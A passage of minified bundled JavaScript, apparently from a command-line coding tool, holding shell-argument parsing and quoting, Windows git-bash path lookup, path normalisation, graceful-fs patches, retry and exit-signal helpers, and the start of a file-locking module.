K+b1A+JSON.stringify(Y)+b1A;return K+Y}function WWq(A,K,q){if(!q)q={};var Y=q.escape||"\\",z="(\\"+Y+`['"`+B28+`]|[^\\s'"`+B28+"])+",w=new RegExp(["("+F28+")","("+z+"|"+JWq+"|"+OWq+")+"].join("|"),"g"),H=GWq(A,w);if(H.length===0)return[];if(!K)K={};var J=!1;return H.map(function(O){var X=O[0];if(!X||J)return;if(u28.test(X))return{op:X};var $=!1,_=!1,G="",Z=!1,W;function D(){W+=1;var P,f,N=X.charAt(W);if(N==="{"){if(W+=1,X.charAt(W)==="}")throw Error("Bad substitution: "+X.slice(W-2,W+1));if(P=X.indexOf("}",W),P<0)throw Error("Bad substitution: "+X.slice(W));f=X.slice(W,P),W=P}else if(/[*@#?$!_-]/.test(N))f=N,W+=1;else{var T=X.slice(W);if(P=T.match(/[^\w\d_]/),!P)f=T,W=X.length;else f=T.slice(0,P.index),W+=P.index-1}return ZWq(K,"",f)}for(W=0;W<X.length;W++){var j=X.charAt(W);if(Z=Z||!$&&(j==="*"||j==="?"),_)G+=j,_=!1;else if($)if(j===$)$=!1;else if($==m28)G+=j;else if(j===Y)if(W+=1,j=X.charAt(W),j===g28||j===Y||j===xb1)G+=j;else G+=Y+j;else if(j===xb1)G+=D();else G+=j;else if(j===g28||j===m28)$=j;else if(u28.test(j))return{op:X};else if(XWq.test(j)){J=!0;var M={comment:A.slice(O.index+W+1)};if(G.length)return[G,M];return[M]}else if(j===Y)_=!0;else if(j===xb1)G+=D();else G+=j}if(Z)return{op:"glob",pattern:G};return G}).reduce(function(O,X){return typeof X>"u"?O:O.concat(X)},[])}Q28.exports=function(K,q,Y){var z=WWq(K,q,Y);if(typeof q!=="function")return z;return z.reduce(function(w,H){if(typeof H==="object")return w.concat(H);var J=H.split(RegExp("("+b1A+".*?"+b1A+")","g"));if(J.length===1)return w.concat(J[0]);return w.concat(J.filter(Boolean).map(function(O){if(_Wq.test(O))return JSON.parse(O.split(b1A)[1]);return O}))},[])}});var soA=v((DWq)=>{DWq.quote=x28();DWq.parse=U28()});function Bz(A,K){try{return{success:!0,tokens:typeof K==="function"?hwA.parse(A,K):hwA.parse(A,K)}}catch(q){if(q instanceof Error)KA(q);return{success:!1,error:q instanceof Error?q.message:"Unknown parse error"}}}function PWq(A){try{let K=A.map((Y,z)=>{if(Y===null||Y===void 0)return String(Y);let w=typeof Y;if(w==="string")return Y;if(w==="number"||w==="boolean")return String(Y);if(w==="object")throw Error(`Cannot quote argument at index ${z}: object values are not supported`);if(w==="symbol")throw Error(`Cannot quote argument at index ${z}: symbol values are not supported`);if(w==="function")throw Error(`Cannot quote argument at index ${z}: function values are not supported`);throw Error(`Cannot quote argument at index ${z}: unsupported type ${w}`)});return{success:!0,quoted:hwA.quote(K)}}catch(K){if(K instanceof Error)KA(K);return{success:!1,error:K instanceof Error?K.message:"Unknown quote error"}}}function R4(A){let K=PWq([...A]);if(K.success)return K.quoted;try{let q=A.map((Y)=>{if(Y===null||Y===void 0)return String(Y);let z=typeof Y;if(z==="string"||z==="number"||z==="boolean")return String(Y);return UA(Y)});return hwA.quote(q)}catch(q){if(q instanceof Error)KA(q);throw Error("Failed to quote shell arguments safely")}}var hwA;var gO=k(()=>{C1();b1();hwA=o(soA(),1)});import*as p28 from"node:path/win32";import*as bwA from"node:path";function ub1(A){try{return RE(`dir "${A}"`,{stdio:"pipe"}),!0}catch{return!1}}function VWq(A){if(A==="git"){let K=["C:\\Program Files\\Git\\cmd\\git.exe","C:\\Program Files (x86)\\Git\\cmd\\git.exe"];for(let q of K)if(ub1(q))return q}try{let q=RE(`where.exe ${A}`,{stdio:"pipe",encoding:"utf8"}).trim().split(`\r `).filter(Boolean),Y=x1().toLowerCase();for(let z of q){let w=bwA.resolve(z).toLowerCase();if(bwA.dirname(w).toLowerCase()===Y||w.startsWith(Y+bwA.sep)){h(`Skipping potentially malicious executable in current directory: ${z}`);continue}return z}return null}catch{return null}}var d28=()=>{if(o6()==="windows"){let A=Bb1();process.env.SHELL=A,h(`Using bash path: "${A}"`)}},Bb1,Kb=(A)=>{let K=R4([A]);return RE(`cygpath -u ${K}`,{shell:Bb1()}).toString().trim()},c28=(A)=>{let K=R4([A]);return RE(`cygpath -w ${K}`,{shell:Bb1()}).toString().trim()};var xwA=k(()=>{yTA();p7();gO();B5();Z1();y4();Bb1=z6(()=>{if(process.env.CLAUDE_CODE_GIT_BASH_PATH){if(ub1(process.env.CLAUDE_CODE_GIT_BASH_PATH))return process.env.CLAUDE_CODE_GIT_BASH_PATH;console.error(`Claude Code was unable to find CLAUDE_CODE_GIT_BASH_PATH path "${process.env.CLAUDE_CODE_GIT_BASH_PATH}"`),process.exit(1)}let A=VWq("git");if(A){let K=p28.join(A,"..","..","bin","bash.exe");if(ub1(K))return K}console.error("Claude Code on Windows requires git-bash (https://git-scm.com/downloads/win). If installed but not in PATH, set environment variable pointing to your bash.exe, similar to: CLAUDE_CODE_GIT_BASH_PATH=C:\\Program Files\\Git\\bin\\bash.exe"),process.exit(1)})});import{homedir as l28}from"os";import{isAbsolute as fWq,join as NWq,resolve as TWq,normalize as mb1,dirname as vWq}from"path";function x7(A,K){let q=K??x1()??BA().cwd();if(typeof A!=="string")throw TypeError(`Path must be a string, received ${typeof A}`);if(typeof q!=="string")throw TypeError(`Base directory must be a string, received ${typeof q}`);if(A.includes("\x00")||q.includes("\x00"))throw Error("Path contains null bytes");let Y=A.trim();if(!Y)return mb1(q);if(Y==="~")return l28();if(Y.startsWith("~/"))return NWq(l28(),Y.slice(2));let z=Y;if(o6()==="windows"&&Y.match(/^\/[a-z]\//i))try{z=c28(Y)}catch{z=Y}if(fWq(z))return mb1(z);return TWq(q,z)}function pg(A){let K=x7(A);try{if(BA().statSync(K).isDirectory())return K}catch{}return vWq(K)}function uwA(A){return/(?:^|[\\/])\.\.(?:[\\/]|$)/.test(A)}function BwA(A){return A.replace(/[^a-zA-Z0-9]/g,"-")}function xTA(A){return mb1(A).replace(/\\/g,"/")}var Oz=k(()=>{y4();e6();B5();xwA()});function BTA(A,K){return A instanceof Error&&A.message===K}var uTA,qb,y2,KV,bR,o$,dg;var iw=k(()=>{uTA=class uTA extends Error{constructor(A){super(A);this.name=this.constructor.name}};qb=class qb extends Error{};y2=class y2 extends Error{constructor(A){super(A);this.name="AbortError"}};KV=class KV extends Error{filePath;defaultConfig;constructor(A,K,q){super(A);this.name="ConfigParseError",this.filePath=K,this.defaultConfig=q}};bR=class bR extends Error{stdout;stderr;code;interrupted;constructor(A,K,q,Y){super("Shell command failed");this.stdout=A;this.stderr=K;this.code=q;this.interrupted=Y;this.name="ShellError"}};o$=class o$ extends Error{formattedMessage;constructor(A,K){super(A);this.formattedMessage=K;this.name="TeleportOperationError"}};dg=class dg extends Error{telemetryMessage;constructor(A,K){super(A);this.name="TelemetrySafeError",this.telemetryMessage=K??A}}});var n28=v((ZEz,i28)=>{var qi=CA("constants"),EWq=process.cwd,toA=null,kWq=process.env.GRACEFUL_FS_PLATFORM||process.platform;process.cwd=function(){if(!toA)toA=EWq.call(process);return toA};try{process.cwd()}catch(A){}if(typeof process.chdir==="function"){if(eoA=process.chdir,process.chdir=function(A){toA=null,eoA.call(process,A)},Object.setPrototypeOf)Object.setPrototypeOf(process.chdir,eoA)}var eoA;i28.exports=CWq;function CWq(A){if(qi.hasOwnProperty("O_SYMLINK")&&process.version.match(/^v0\.6\.[0-2]|^v0\.5\./))K(A);if(!A.lutimes)q(A);if(A.chown=w(A.chown),A.fchown=w(A.fchown),A.lchown=w(A.lchown),A.chmod=Y(A.chmod),A.fchmod=Y(A.fchmod),A.lchmod=Y(A.lchmod),A.chownSync=H(A.chownSync),A.fchownSync=H(A.fchownSync),A.lchownSync=H(A.lchownSync),A.chmodSync=z(A.chmodSync),A.fchmodSync=z(A.fchmodSync),A.lchmodSync=z(A.lchmodSync),A.stat=J(A.stat),A.fstat=J(A.fstat),A.lstat=J(A.lstat),A.statSync=O(A.statSync),A.fstatSync=O(A.fstatSync),A.lstatSync=O(A.lstatSync),A.chmod&&!A.lchmod)A.lchmod=function($,_,G){if(G)process.nextTick(G)},A.lchmodSync=function(){};if(A.chown&&!A.lchown)A.lchown=function($,_,G,Z){if(Z)process.nextTick(Z)},A.lchownSync=function(){};if(kWq==="win32")A.rename=typeof A.rename!=="function"?A.rename:function($){function _(G,Z,W){var D=Date.now(),j=0;$(G,Z,function M(P){if(P&&(P.code==="EACCES"||P.code==="EPERM"||P.code==="EBUSY")&&Date.now()-D<60000){if(setTimeout(function(){A.stat(Z,function(f,N){if(f&&f.code==="ENOENT")$(G,Z,M);else W(P)})},j),j<100)j+=10;return}if(W)W(P)})}if(Object.setPrototypeOf)Object.setPrototypeOf(_,$);return _}(A.rename);A.read=typeof A.read!=="function"?A.read:function($){function _(G,Z,W,D,j,M){var P;if(M&&typeof M==="function"){var f=0;P=function(N,T,C){if(N&&N.code==="EAGAIN"&&f<10)return f++,$.call(A,G,Z,W,D,j,P);M.apply(this,arguments)}}return $.call(A,G,Z,W,D,j,P)}if(Object.setPrototypeOf)Object.setPrototypeOf(_,$);return _}(A.read),A.readSync=typeof A.readSync!=="function"?A.readSync:function($){return function(_,G,Z,W,D){var j=0;while(!0)try{return $.call(A,_,G,Z,W,D)}catch(M){if(M.code==="EAGAIN"&&j<10){j++;continue}throw M}}}(A.readSync);function K($){$.lchmod=function(_,G,Z){$.open(_,qi.O_WRONLY|qi.O_SYMLINK,G,function(W,D){if(W){if(Z)Z(W);return}$.fchmod(D,G,function(j){$.close(D,function(M){if(Z)Z(j||M)})})})},$.lchmodSync=function(_,G){var Z=$.openSync(_,qi.O_WRONLY|qi.O_SYMLINK,G),W=!0,D;try{D=$.fchmodSync(Z,G),W=!1}finally{if(W)try{$.closeSync(Z)}catch(j){}else $.closeSync(Z)}return D}}function q($){if(qi.hasOwnProperty("O_SYMLINK")&&$.futimes)$.lutimes=function(_,G,Z,W){$.open(_,qi.O_SYMLINK,function(D,j){if(D){if(W)W(D);return}$.futimes(j,G,Z,function(M){$.close(j,function(P){if(W)W(M||P)})})})},$.lutimesSync=function(_,G,Z){var W=$.openSync(_,qi.O_SYMLINK),D,j=!0;try{D=$.futimesSync(W,G,Z),j=!1}finally{if(j)try{$.closeSync(W)}catch(M){}else $.closeSync(W)}return D};else if($.futimes)$.lutimes=function(_,G,Z,W){if(W)process.nextTick(W)},$.lutimesSync=function(){}}function Y($){if(!$)return $;return function(_,G,Z){return $.call(A,_,G,function(W){if(X(W))W=null;if(Z)Z.apply(this,arguments)})}}function z($){if(!$)return $;return function(_,G){try{return $.call(A,_,G)}catch(Z){if(!X(Z))throw Z}}}function w($){if(!$)return $;return function(_,G,Z,W){return $.call(A,_,G,Z,function(D){if(X(D))D=null;if(W)W.apply(this,arguments)})}}function H($){if(!$)return $;return function(_,G,Z){try{return $.call(A,_,G,Z)}catch(W){if(!X(W))throw W}}}function J($){if(!$)return $;return function(_,G,Z){if(typeof G==="function")Z=G,G=null;function W(D,j){if(j){if(j.uid<0)j.uid+=4294967296;if(j.gid<0)j.gid+=4294967296}if(Z)Z.apply(this,arguments)}return G?$.call(A,_,G,W):$.call(A,_,W)}}function O($){if(!$)return $;return function(_,G){var Z=G?$.call(A,_,G):$.call(A,_);if(Z){if(Z.uid<0)Z.uid+=4294967296;if(Z.gid<0)Z.gid+=4294967296}return Z}}function X($){if(!$)return!0;if($.code==="ENOSYS")return!0;var _=!process.getuid||process.getuid()!==0;if(_){if($.code==="EINVAL"||$.code==="EPERM")return!0}return!1}}});var a28=v((WEz,o28)=>{var r28=CA("stream").Stream;o28.exports=LWq;function LWq(A){return{ReadStream:K,WriteStream:q};function K(Y,z){if(!(this instanceof K))return new K(Y,z);r28.call(this);var w=this;this.path=Y,this.fd=null,this.readable=!0,this.paused=!1,this.flags="r",this.mode=438,this.bufferSize=65536,z=z||{};var H=Object.keys(z);for(var J=0,O=H.length;J<O;J++){var X=H[J];this[X]=z[X]}if(this.encoding)this.setEncoding(this.encoding);if(this.start!==void 0){if(typeof this.start!=="number")throw TypeError("start must be a Number");if(this.end===void 0)this.end=1/0;else if(typeof this.end!=="number")throw TypeError("end must be a Number");if(this.start>this.end)throw Error("start must be <= end");this.pos=this.start}if(this.fd!==null){process.nextTick(function(){w._read()});return}A.open(this.path,this.flags,this.mode,function($,_){if($){w.emit("error",$),w.readable=!1;return}w.fd=_,w.emit("open",_),w._read()})}function q(Y,z){if(!(this instanceof q))return new q(Y,z);r28.call(this),this.path=Y,this.fd=null,this.writable=!0,this.flags="w",this.encoding="binary",this.mode=438,this.bytesWritten=0,z=z||{};var w=Object.keys(z);for(var H=0,J=w.length;H<J;H++){var O=w[H];this[O]=z[O]}if(this.start!==void 0){if(typeof this.start!=="number")throw TypeError("start must be a Number");if(this.start<0)throw Error("start must be >= zero");this.pos=this.start}if(this.busy=!1,this._queue=[],this.fd===null)this._open=A.open,this._queue.push([this._open,this.path,this.flags,this.mode,void 0]),this.flush()}}});var t28=v((DEz,s28)=>{s28.exports=yWq;var RWq=Object.getPrototypeOf||function(A){return A.__proto__};function yWq(A){if(A===null||typeof A!=="object")return A;if(A instanceof Object)var K={__proto__:RWq(A)};else var K=Object.create(null);return Object.getOwnPropertyNames(A).forEach(function(q){Object.defineProperty(K,q,Object.getOwnPropertyDescriptor(A,q))}),K}});var I2=v((jEz,Ub1)=>{var AO=CA("fs"),IWq=n28(),SWq=a28(),hWq=t28(),AaA=CA("util"),fZ,qaA;if(typeof Symbol==="function"&&typeof Symbol.for==="function")fZ=Symbol.for("graceful-fs.queue"),qaA=Symbol.for("graceful-fs.previous");else fZ="___graceful-fs.queue",qaA="___graceful-fs.previous";function bWq(){}function Az8(A,K){Object.defineProperty(A,fZ,{get:function(){return K}})}var x1A=bWq;if(AaA.debuglog)x1A=AaA.debuglog("gfs4");else if(/\bgfs4\b/i.test(process.env.NODE_DEBUG||""))x1A=function(){var A=AaA.format.apply(AaA,arguments);A="GFS4: "+A.split(/\n/).join(` GFS4: `),console.error(A)};if(!AO[fZ]){if(gb1=global[fZ]||[],Az8(AO,gb1),AO.close=function(A){function K(q,Y){return A.call(AO,q,function(z){if(!z)e28();if(typeof Y==="function")Y.apply(this,arguments)})}return Object.defineProperty(K,qaA,{value:A}),K}(AO.close),AO.closeSync=function(A){function K(q){A.apply(AO,arguments),e28()}return Object.defineProperty(K,qaA,{value:A}),K}(AO.closeSync),/\bgfs4\b/i.test(process.env.NODE_DEBUG||""))process.on("exit",function(){x1A(AO[fZ]),CA("assert").equal(AO[fZ].length,0)})}var gb1;if(!global[fZ])Az8(global,AO[fZ]);Ub1.exports=Fb1(hWq(AO));if(process.env.TEST_GRACEFUL_FS_GLOBAL_PATCH&&!AO.__patched)Ub1.exports=Fb1(AO),AO.__patched=!0;function Fb1(A){IWq(A),A.gracefulify=Fb1,A.createReadStream=T,A.createWriteStream=C;var K=A.readFile;A.readFile=q;function q(y,B,b){if(typeof B==="function")b=B,B=null;return F(y,B,b);function F(Q,u,d,r){return K(Q,u,function(c){if(c&&(c.code==="EMFILE"||c.code==="ENFILE"))mwA([F,[Q,u,d],c,r||Date.now(),Date.now()]);else if(typeof d==="function")d.apply(this,arguments)})}}var Y=A.writeFile;A.writeFile=z;function z(y,B,b,F){if(typeof b==="function")F=b,b=null;return Q(y,B,b,F);function Q(u,d,r,c,YA){return Y(u,d,r,function(e){if(e&&(e.code==="EMFILE"||e.code==="ENFILE"))mwA([Q,[u,d,r,c],e,YA||Date.now(),Date.now()]);else if(typeof c==="function")c.apply(this,arguments)})}}var w=A.appendFile;if(w)A.appendFile=H;function H(y,B,b,F){if(typeof b==="function")F=b,b=null;return Q(y,B,b,F);function Q(u,d,r,c,YA){return w(u,d,r,function(e){if(e&&(e.code==="EMFILE"||e.code==="ENFILE"))mwA([Q,[u,d,r,c],e,YA||Date.now(),Date.now()]);else if(typeof c==="function")c.apply(this,arguments)})}}var J=A.copyFile;if(J)A.copyFile=O;function O(y,B,b,F){if(typeof b==="function")F=b,b=0;return Q(y,B,b,F);function Q(u,d,r,c,YA){return J(u,d,r,function(e){if(e&&(e.code==="EMFILE"||e.code==="ENFILE"))mwA([Q,[u,d,r,c],e,YA||Date.now(),Date.now()]);else if(typeof c==="function")c.apply(this,arguments)})}}var X=A.readdir;A.readdir=_;var $=/^v[0-5]\./;function _(y,B,b){if(typeof B==="function")b=B,B=null;var F=$.test(process.version)?function(d,r,c,YA){return X(d,Q(d,r,c,YA))}:function(d,r,c,YA){return X(d,r,Q(d,r,c,YA))};return F(y,B,b);function Q(u,d,r,c){return function(YA,e){if(YA&&(YA.code==="EMFILE"||YA.code==="ENFILE"))mwA([F,[u,d,r],YA,c||Date.now(),Date.now()]);else{if(e&&e.sort)e.sort();if(typeof r==="function")r.call(this,YA,e)}}}}if(process.version.substr(0,4)==="v0.8"){var G=SWq(A);M=G.ReadStream,f=G.WriteStream}var Z=A.ReadStream;if(Z)M.prototype=Object.create(Z.prototype),M.prototype.open=P;var W=A.WriteStream;if(W)f.prototype=Object.create(W.prototype),f.prototype.open=N;Object.defineProperty(A,"ReadStream",{get:function(){return M},set:function(y){M=y},enumerable:!0,configurable:!0}),Object.defineProperty(A,"WriteStream",{get:function(){return f},set:function(y){f=y},enumerable:!0,configurable:!0});var D=M;Object.defineProperty(A,"FileReadStream",{get:function(){return D},set:function(y){D=y},enumerable:!0,configurable:!0});var j=f;Object.defineProperty(A,"FileWriteStream",{get:function(){return j},set:function(y){j=y},enumerable:!0,configurable:!0});function M(y,B){if(this instanceof M)return Z.apply(this,arguments),this;else return M.apply(Object.create(M.prototype),arguments)}function P(){var y=this;x(y.path,y.flags,y.mode,function(B,b){if(B){if(y.autoClose)y.destroy();y.emit("error",B)}else y.fd=b,y.emit("open",b),y.read()})}function f(y,B){if(this instanceof f)return W.apply(this,arguments),this;else return f.apply(Object.create(f.prototype),arguments)}function N(){var y=this;x(y.path,y.flags,y.mode,function(B,b){if(B)y.destroy(),y.emit("error",B);else y.fd=b,y.emit("open",b)})}function T(y,B){return new A.ReadStream(y,B)}function C(y,B){return new A.WriteStream(y,B)}var R=A.open;A.open=x;function x(y,B,b,F){if(typeof b==="function")F=b,b=null;return Q(y,B,b,F);function Q(u,d,r,c,YA){return R(u,d,r,function(e,qA){if(e&&(e.code==="EMFILE"||e.code==="ENFILE"))mwA([Q,[u,d,r,c],e,YA||Date.now(),Date.now()]);else if(typeof c==="function")c.apply(this,arguments)})}}return A}function mwA(A){x1A("ENQUEUE",A[0].name,A[1]),AO[fZ].push(A),Qb1()}var KaA;function e28(){var A=Date.now();for(var K=0;K<AO[fZ].length;++K)if(AO[fZ][K].length>2)AO[fZ][K][3]=A,AO[fZ][K][4]=A;Qb1()}function Qb1(){if(clearTimeout(KaA),KaA=void 0,AO[fZ].length===0)return;var A=AO[fZ].shift(),K=A[0],q=A[1],Y=A[2],z=A[3],w=A[4];if(z===void 0)x1A("RETRY",K.name,q),K.apply(null,q);else if(Date.now()-z>=60000){x1A("TIMEOUT",K.name,q);var H=q.pop();if(typeof H==="function")H.call(null,Y)}else{var J=Date.now()-w,O=Math.max(w-z,1),X=Math.min(O*1.2,100);if(J>=X)x1A("RETRY",K.name,q),K.apply(null,q.concat([z]));else AO[fZ].push(A)}if(KaA===void 0)KaA=setTimeout(Qb1,0)}});var qz8=v((MEz,Kz8)=>{function yE(A,K){if(typeof K==="boolean")K={forever:K};if(this._originalTimeouts=JSON.parse(JSON.stringify(A)),this._timeouts=A,this._options=K||{},this._maxRetryTime=K&&K.maxRetryTime||1/0,this._fn=null,this._errors=[],this._attempts=1,this._operationTimeout=null,this._operationTimeoutCb=null,this._timeout=null,this._operationStart=null,this._options.forever)this._cachedTimeouts=this._timeouts.slice(0)}Kz8.exports=yE;yE.prototype.reset=function(){this._attempts=1,this._timeouts=this._originalTimeouts};yE.prototype.stop=function(){if(this._timeout)clearTimeout(this._timeout);this._timeouts=[],this._cachedTimeouts=null};yE.prototype.retry=function(A){if(this._timeout)clearTimeout(this._timeout);if(!A)return!1;var K=new Date().getTime();if(A&&K-this._operationStart>=this._maxRetryTime)return this._errors.unshift(Error("RetryOperation timeout occurred")),!1;this._errors.push(A);var q=this._timeouts.shift();if(q===void 0)if(this._cachedTimeouts)this._errors.splice(this._errors.length-1,this._errors.length),this._timeouts=this._cachedTimeouts.slice(0),q=this._timeouts.shift();else return!1;var Y=this,z=setTimeout(function(){if(Y._attempts++,Y._operationTimeoutCb){if(Y._timeout=setTimeout(function(){Y._operationTimeoutCb(Y._attempts)},Y._operationTimeout),Y._options.unref)Y._timeout.unref()}Y._fn(Y._attempts)},q);if(this._options.unref)z.unref();return!0};yE.prototype.attempt=function(A,K){if(this._fn=A,K){if(K.timeout)this._operationTimeout=K.timeout;if(K.cb)this._operationTimeoutCb=K.cb}var q=this;if(this._operationTimeoutCb)this._timeout=setTimeout(function(){q._operationTimeoutCb()},q._operationTimeout);this._operationStart=new Date().getTime(),this._fn(this._attempts)};yE.prototype.try=function(A){console.log("Using RetryOperation.try() is deprecated"),this.attempt(A)};yE.prototype.start=function(A){console.log("Using RetryOperation.start() is deprecated"),this.attempt(A)};yE.prototype.start=yE.prototype.try;yE.prototype.errors=function(){return this._errors};yE.prototype.attempts=function(){return this._attempts};yE.prototype.mainError=function(){if(this._errors.length===0)return null;var A={},K=null,q=0;for(var Y=0;Y<this._errors.length;Y++){var z=this._errors[Y],w=z.message,H=(A[w]||0)+1;if(A[w]=H,H>=q)K=z,q=H}return K}});var zz8=v((uWq)=>{var xWq=qz8();uWq.operation=function(A){var K=uWq.timeouts(A);return new xWq(K,{forever:A&&A.forever,unref:A&&A.unref,maxRetryTime:A&&A.maxRetryTime})};uWq.timeouts=function(A){if(A instanceof Array)return[].concat(A);var K={retries:10,factor:2,minTimeout:1000,maxTimeout:1/0,randomize:!1};for(var q in A)K[q]=A[q];if(K.minTimeout>K.maxTimeout)throw Error("minTimeout is greater than maxTimeout");var Y=[];for(var z=0;z<K.retries;z++)Y.push(this.createTimeout(z,K));if(A&&A.forever&&!Y.length)Y.push(this.createTimeout(z,K));return Y.sort(function(w,H){return w-H}),Y};uWq.createTimeout=function(A,K){var q=K.randomize?Math.random()+1:1,Y=Math.round(q*K.minTimeout*Math.pow(K.factor,A));return Y=Math.min(Y,K.maxTimeout),Y};uWq.wrap=function(A,K,q){if(K instanceof Array)q=K,K=null;if(!q){q=[];for(var Y in A)if(typeof A[Y]==="function")q.push(Y)}for(var z=0;z<q.length;z++){var w=q[z],H=A[w];A[w]=function(O){var X=uWq.operation(K),$=Array.prototype.slice.call(arguments,1),_=$.pop();$.push(function(G){if(X.retry(G))return;if(G)arguments[0]=X.mainError();_.apply(this,arguments)}),X.attempt(function(){O.apply(A,$)})}.bind(A,H),A[w].options=K}}});var wz8=v((VEz,YaA)=>{YaA.exports=["SIGABRT","SIGALRM","SIGHUP","SIGINT","SIGTERM"];if(process.platform!=="win32")YaA.exports.push("SIGVTALRM","SIGXCPU","SIGXFSZ","SIGUSR2","SIGTRAP","SIGSYS","SIGQUIT","SIGIOT");if(process.platform==="linux")YaA.exports.push("SIGIO","SIGPOLL","SIGPWR","SIGSTKFLT","SIGUNUSED")});var Hz8=v((fEz,FwA)=>{var $J=global.process,u1A=function(A){return A&&typeof A==="object"&&typeof A.removeListener==="function"&&typeof A.emit==="function"&&typeof A.reallyExit==="function"&&typeof A.listeners==="function"&&typeof A.kill==="function"&&typeof A.pid==="number"&&typeof A.on==="function"};if(!u1A($J))FwA.exports=function(){return function(){}};else{if(pb1=CA("assert"),B1A=wz8(),db1=/^win/i.test($J.platform),gwA=CA("events"),typeof gwA!=="function")gwA=gwA.EventEmitter;if($J.__signal_exit_emitter__)a$=$J.__signal_exit_emitter__;else a$=$J.__signal_exit_emitter__=new gwA,a$.count=0,a$.emitted={};if(!a$.infinite)a$.setMaxListeners(1/0),a$.infinite=!0;FwA.exports=function(A,K){if(!u1A(global.process))return function(){};if(pb1.equal(typeof A,"function","a callback must be provided for exit handler"),m1A===!1)zaA();var q="exit";if(K&&K.alwaysLast)q="afterexit";var Y=function(){if(a$.removeListener(q,A),a$.listeners("exit").length===0&&a$.listeners("afterexit").length===0)mTA()};return a$.on(q,A),Y},mTA=function(){if(!m1A||!u1A(global.process))return;m1A=!1,B1A.forEach(function(K){try{$J.removeListener(K,gTA[K])}catch(q){}}),$J.emit=FTA,$J.reallyExit=waA,a$.count-=1},FwA.exports.unload=mTA,Yi=function(K,q,Y){if(a$.emitted[K])return;a$.emitted[K]=!0,a$.emit(K,q,Y)},gTA={},B1A.forEach(function(A){gTA[A]=function(){if(!u1A(global.process))return;var q=$J.listeners(A);if(q.length===a$.count){if(mTA(),Yi("exit",null,A),Yi("afterexit",null,A),db1&&A==="SIGHUP")A="SIGINT";$J.kill($J.pid,A)}}}),FwA.exports.signals=function(){return B1A},m1A=!1,zaA=function(){if(m1A||!u1A(global.process))return;m1A=!0,a$.count+=1,B1A=B1A.filter(function(K){try{return $J.on(K,gTA[K]),!0}catch(q){return!1}}),$J.emit=lb1,$J.reallyExit=cb1},FwA.exports.load=zaA,waA=$J.reallyExit,cb1=function(K){if(!u1A(global.process))return;$J.exitCode=K||0,Yi("exit",$J.exitCode,null),Yi("afterexit",$J.exitCode,null),waA.call($J,$J.exitCode)},FTA=$J.emit,lb1=function(K,q){if(K==="exit"&&u1A(global.process)){if(q!==void 0)$J.exitCode=q;var Y=FTA.apply(this,arguments);return Yi("exit",$J.exitCode,null),Yi("afterexit",$J.exitCode,null),Y}else return FTA.apply(this,arguments)}}var pb1,B1A,db1,gwA,a$,mTA,Yi,gTA,m1A,zaA,waA,cb1,FTA,lb1});var Oz8=v((UWq,ib1)=>{var Jz8=Symbol();function FWq(A,K,q){let Y=K[Jz8];if(Y)return K.stat(A,(w,H)=>{if(w)return q(w);q(null,H.mtime,Y)});let z=new Date(Math.ceil(Date.now()/1000)*1000+5);K.utimes(A,z,z,(w)=>{if(w)return q(w);K.stat(A,(H,J)=>{if(H)return q(H);let O=J.mtime.getTime()%1000===0?"s":"ms";Object.defineProperty(K,Jz8,{value:O}),q(null,J.mtime,O)})})}function QWq(A){let K=Date.now();if(A==="s")K=Math.ceil(K/1000)*1000;return new Date(K)}UWq.probe=FWq;UWq.getMtime=QWq});var Zz8=v((aWq,UTA)=>{var cWq=CA("path"),ob1=I2(),lWq=zz8(),iWq=Hz8(),Xz8=Oz8(),cg={};function QTA(A,K){return K.lockfilePath||`${A}.lock`}function ab1(A,K,q){if(!K.realpath)return q(null,cWq.resolve(A));K.fs.realpath(A,q)}function rb1(A,K,q){let Y=QTA(A,K);K.fs.mkdir(Y,(z)=>{if(!z)return Xz8.probe(Y,K.fs,(w,H,J)=>{if(w)return K.fs.rmdir(Y,()=>{}),q(w);q(null,H,J)});if(z.code!=="EEXIST")return q(z);if(K.stale<=0)return q(Object.assign(Error("Lock file is already being held"),{code:"ELOCKED",file:A}));K.fs.stat(Y,(w,H)=>{if(w){if(w.code==="ENOENT")return rb1(A,{...K,stale:0},q);return q(w)}if(!$z8(H,K))return q(Object.assign(Error("Lock file is already being held"),{code:"ELOCKED",file:A}));_z8(A,K,(J)=>{if(J)return q(J);rb1(A,{...K,stale:0},q)})})})}function $z8(A,K){return A.mtime.getTime()<Date.now()-K.stale}function _z8(A,K,q){K.fs.rmdir(QTA(A,K),(Y)=>{if(Y&&Y.code!=="ENOENT")return q(Y);q()})}function HaA(A,K){let q=cg[A];if(q.updateTimeout)return;if(q.updateDelay=q.updateDelay||K.update,q.updateTimeout=setTimeout(()=>{q.updateTimeout=null,K.fs.stat(q.lockfilePath,(Y,z)=>{let w=q.lastUpdate+K.stale<Date.now();if(Y){if(Y.code==="ENOENT"||w)return nb1(A,q,Object.assign(Y,{code:"ECOMPROMISED"}));return q.updateDelay=1000,HaA(A,K)}if(q.mtime.getTime()!==z.mtime.getTime())return nb1(A,q,Object.assign(Error("Unable to update lock within the stale threshold"),{code:"ECOMPROMISED"}));let J=Xz8.getMtime(q.mtimePrecision);K.fs.utimes(q.lockfilePath,J,J,(O)=>{let X=q.lastUpdate+K.stale<Date.now();if(q.released)return;if(O){if(O.code==="ENOENT"||X)return nb1(A,q,Object.assign(O,{code:"ECOMPROMISED"}));return q.updateDelay=1000,HaA(A,K)}q.mtime=J,q.lastUpdate=Date.now(),q.updateDelay=null,HaA(A,K)})})},q.updateDelay),q.updateTimeout.unref)q.updateTimeout.unref()}function nb1(A,K,q){if(K.released=!0,K.updateTimeout)clearTimeout(K.updateTimeout);if(cg[A]===K)delete cg[A];K.options.onCompromised(q)}function nWq(A,K,q){K={stale:1e4,update:null,realpath:!0,retries:0,fs:ob1,onCompromised:(Y)=>{throw Y},...K},K.retries=K.retries||0,K.retries=typeof K.retries==="number"?{retries:K.retries}:K.retries,K.stale=Math.max(K.stale||0,2000),K.update=K.update==null?K.stale/2:K.update||0,K.update=Math.max(Math.min(K.update,K.stale/2),1000),ab1(A,K,(Y,z)=>{if(Y)return q(Y);let w=lWq.operation(K.retries);w.attempt(()=>{rb1(z,K,(H,J,O)=>{if(w.retry(H))return;if(H)return q(w.mainError());let X=cg[z]={lockfilePath:QTA(z,K),mtime:J,mtimePrecision:O,options:K,lastUpdate:Date.now()};HaA(z,K),q(null,($)=>{if(X.released)return $&&$(Object.assign(Error("Lock is already released"),{code:"ERELEASED"}));Gz8(z,{...K,realpath:!1},$)})})})})}function Gz8(A,K,q){K={fs:ob1,realpath:!0,...K},ab1(A,K,(Y,z)=>{if(Y)return q(Y);let w=cg[z];if(!w)return q(Object.assign(Error("Lock is not acquired/owned by 